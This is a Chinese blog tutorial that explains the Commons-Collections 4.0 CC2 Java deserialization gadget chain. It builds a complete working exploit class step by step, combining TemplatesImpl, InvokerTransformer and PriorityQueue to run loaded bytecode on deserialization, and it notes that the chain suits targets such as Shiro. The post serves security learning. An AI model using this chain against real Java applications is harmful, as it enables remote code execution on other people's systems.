Java反序列化Commons-Collections篇05-CC2链
Drunkbaby Lv6

CC2链

Java 反序列化 Commons-Collections 篇 05 CC2 链

0x01 前言

过完前三条链子之后,看后续的链子简直不要太顺利 ~

0x02 环境

  • JDK8u65
  • openJDK 8u65
  • Maven 3.6.3(其余版本可以先试试,不行再降版本)
  • Commons-Collections 4.0

Maven 下载 Commons-Collections 依赖。

1
2
3
4
5
<dependency>  
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

0x03 CC2 链分析

  • 首先分析这条链子,要先明白它存在的意义。

CC2 这条链实际上是在 CC4 链基础上的修改,目的是为了避免使用 Transformer 数组。

要用流程图来表示的话应当是如此。

在 CC4 链的基础上,抛弃了用 InstantiateTransformer 类将 TrAXFilter 初始化,以及 TemplatesImpl.newTransformer() 这个步骤

那么我们简单分析 CC2 链的前半部分,还是出现了 compare 这些,所以在 CC4 链中的 compare 部分是可用的。在 CC2 链最后部分是 TemplatesImpl 执行动态字节码,和 CC4 链最后的部分是相等的,我们可以直接搬进来。

  • 难点在于用 InvokerTransformer 的连接。

0x04 CC2 链 EXP 编写

我们先把 CC4 链的 EXP 粘贴一下,并且使用 InvokerTransform 连接链子。

我们还是一步步来,首先是 TemplatesImpl 这里后面的链子

1
2
3
4
5
6
7
8
9
10
11
TemplatesImpl templates = new TemplatesImpl();  
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Drunkbaby");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

构造 InvokerTransformer 类去调用templates对象的newTransformer方法:

1
InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});  

创建 TransformingComparator 类对象,传⼊一个临时的 Transformer 类对象,这是为了让代码能够不本地执行,在反序列化的时候执行。

1
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

创建 PriorityQueue 类对象 传入 transformingComparator 对象,但是此时向队列⾥添加的元素就是我们前⾯创建的 TemplatesImpl 对象了,这是因为最后调用 PriorityQueue.compare() 的时候是传入队列中的两个对象,然后 compare() 中调用 Transformer.transform(obj1) 的时候用的是传入的第一个对象作为参数,因此这里需要将 priorityQueue 队列中的第一个对象设置为构造好的 templates 对象,这里贪方便就两个都设置为 templates 对象了。

1
2
3
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);  
priorityQueue.add(templates);
priorityQueue.add(templates);
  • 最后再将值通过反射改回来。
1
2
3
4
Class c = transformingComparator.getClass();  
Field transformingField = c.getDeclaredField("transformer");
transformingField.setAccessible(true);
transformingField.set(transformingComparator, invokerTransformer);

最终完整的 EXP 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

// 因为 CC2 是基于 CC4 的,所以大部分链子都差不多,直接写了
public class CC2EXP {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Drunkbaby");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);

Class c = transformingComparator.getClass();
Field transformingField = c.getDeclaredField("transformer");
transformingField.setAccessible(true);
transformingField.set(transformingComparator, invokerTransformer);
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

0x05 小结

这里小结就不用写太多了,前面流程图也画好了,一开始还是很不懂的,后面看懂了,爽的一笔。

CC2 链区别与其他链子一点的区别在于没有用 Transformer 数组。不用数组是因为比如 shiro 当中的漏洞,它会重写很多动态加载数组的方法,这就可能会导致我们的 EXP 无法通过数组实现。

 评论